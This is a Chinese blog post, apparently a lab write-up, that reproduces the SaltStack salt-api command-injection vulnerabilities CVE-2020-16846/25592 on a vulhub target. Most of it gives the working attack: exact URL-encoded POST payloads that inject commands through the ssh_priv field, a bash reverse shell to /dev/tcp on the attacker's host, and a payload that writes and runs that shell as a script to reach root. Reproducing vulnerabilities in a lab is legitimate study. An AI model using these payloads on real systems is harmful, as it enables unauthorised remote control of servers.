一直在鼓捣我的docker,来来回回重启下载反复多次,居然最后发现没有加https。。。
导致一致访问不了这个网页,下次一定要记得先看看readme文件里面怎么写的。。。
还有就是在这反复下载docker的时光中,我发现docker有bug,他把容器映射到我的内网ip上,导致我外放ip访问不到,耗了好长一段时间
SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能:
• 配置管理系统,能够将远程节点维护在一个预定义的状态
• 分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据
CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。
我们使用vulhub靶场复现本次环境,访问ip+8000,一定要https
这是一个命令执行方面的漏洞,漏洞点在访问他的run页面时候,将数据包get请求方式变为post,然后传入相应参数可以被系统调用cmd命令执行
传参,将得到的数据包以右键下拉找到 ‘变更请求方式’ 的选项更改数据包,请不要手动修改,无效
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
我们可以看到回显值是return了一个空的数组,为保证严谨性我们直接去容器里面看看到底写入没有,使用命令进入容器内部
docker exec -it 容器id bash
进入tmp目录,我们发现我们写入的文件
解释一下此命令 touch%20/tmp/success%3b 在tmp目录下创建一个名为success的文件 %20是 ‘空格’ 的编码形式,%3b表示分号;完整为"touch /tmp/success;"
即我们只需要修改aaa|后面的命令即可上传后门,用webshell连接,实现远程控制
在这里我们使用反弹shell在容器里面先试试看看能不能执行
bash -i >& /dev/tcp/ip/端口号 0>&1
xshell连接kail监听6666端口号
发现成功,这个时候我们就可以在xshell里面执行命令了
回到刚刚的数据包内,我们重新修改一下内容,将我们的反弹shell写入.sh文件内并执行它
原:echo 'bash -i >& /dev/tcp/ip/端口号 0>&1' > /tmp/123.sh;
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo%20'bash -i >& /dev/tcp/ip/端口号 0>&1'%20>%20/tmp/123.sh%3b
发现报错,结果是&符号也要变成ASCII码形式
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo%20'bash -i >%26 /dev/tcp/ip/端口号 0>%261'%20>%20/tmp/123.sh%3b
成功上传,看看有没有
接下来执行该文件,并监听6666端口
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|bash%20/tmp/123.sh
无回显但连接成功
执行命令发现是root权限,拿下
Successfully!!!
回到开头提到的,我发现我的网卡有问题192开头是内,139是外
最后需要删除iptables里面的路由,重启docker服务,打开容器才能行
iptables -F
systemctl restart docker
docker start 容器id
请按顺序执行
就搞定了
Comments NOTHING